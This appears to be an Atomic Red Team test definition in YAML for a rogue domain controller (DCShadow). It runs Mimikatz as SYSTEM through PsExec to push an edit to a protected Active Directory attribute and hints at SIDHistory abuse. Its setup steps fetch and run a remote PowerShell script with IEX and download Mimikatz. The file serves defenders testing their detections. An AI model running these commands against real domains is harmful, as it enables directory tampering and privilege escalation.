attack_technique: T1207
display_name: Rogue Domain Controller
atomic_tests:
- name: DCShadow (Active Directory)
  auto_generated_guid: 0f4c5eb0-98a0-4496-9c3d-656b4f2bc8f6
  description: |
    Use Mimikatz DCShadow method to simulate behavior of an Active Directory Domain Controller and edit protected attribute.

    [DCShadow](https://www.dcshadow.com/)
    [Additional Reference](http://www.labofapenetrationtester.com/2018/04/dcshadow.html)

    It will set the badPwdCount attribute of the target user (user/machine account) to 9999. You can check after with:
    Get-ADObject -LDAPFilter '(samaccountname=<user>)' -Properties badpwdcount | select-object -ExpandProperty badpwdcount

    Need SYSTEM privileges locally (automatically obtained via PsExec, so running as admin is sufficient), and Domain Admin remotely.
    The easiest is to run elevated and as a Domain Admin user.
  supported_platforms:
  - windows
  input_arguments:
    object:
      description: Targeted object (for machine account do not forget to add final '$')
      type: string
      default: bruce.wayne
    attribute:
      description: "Object attribute to edit, interesting ones: badpwdcount, primaryGroupId, SIDHistory..."
      type: string
      default: badpwdcount
    value:
      description: Value to assign to object attribute
      type: string
      default: "9999"
    mimikatz_path:
      description: Mimikatz windows executable
      type: path
      default: 'PathToAtomicsFolder\..\ExternalPayloads\mimikatz\x64\mimikatz.exe'
    psexec_path:
      description: Path to PsExec
      type: path
      default: PathToAtomicsFolder\..\ExternalPayloads\PSTools\PsExec.exe
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})
    prereq_command: |
      $mimikatz_path = cmd /c echo #{mimikatz_path}
      if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
    get_prereq_command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing) 
      $releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"
      $zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(".zip") }
      $mimikatz_exe = cmd /c echo #{mimikatz_path}
      $basePath = Split-Path $mimikatz_exe | Split-Path
      Invoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath
  - description: |
      PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_path})
    prereq_command: |
      if (Test-Path "#{psexec_path}") { exit 0} else { exit 1}
    get_prereq_command: |
      Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
      Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
      New-Item -ItemType Directory (Split-Path "#{psexec_path}") -Force | Out-Null
      Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "#{psexec_path}" -Force
  executor:
    name: powershell
    elevation_required: true
    command: |
      # starting fake DC server, as SYSTEM (required)
      $dc_output_file = "PathToAtomicsFolder\..\ExternalPayloads\art-T1207-mimikatz-DC.log"
      Remove-Item $dc_output_file -ErrorAction Ignore
      $mimikatzParam ="`"log $dc_output_file`" `"lsadump::dcshadow /object:#{object} /attribute:#{attribute} /value:#{value}`" `"exit`""
      $dc = Start-Process -FilePath cmd.exe -Verb Runas -ArgumentList "/c '#{psexec_path}' /accepteula -d -s #{mimikatz_path} $mimikatzParam"

      # wait for fake DC server to be ready...
      Start-Sleep -Seconds 5

      # server ready, so trigger replication (push) and wait until it finished
      & "#{mimikatz_path}" "lsadump::dcshadow /push" "exit"

      Write-Host "`nWaiting for fake DC server to return"
      Wait-Process $dc

      Write-Host "`nOutput from fake DC server:"
      Get-Content $dc_output_file
      Start-Sleep 1 # wait a little until the file is not locked anymore so we can actually delete it
      Remove-Item $dc_output_file -ErrorAction Ignore

      Write-Host "End of DCShadow"
    cleanup_command: |
      Stop-Process -Name "mimikatz" -Force -ErrorAction Ignore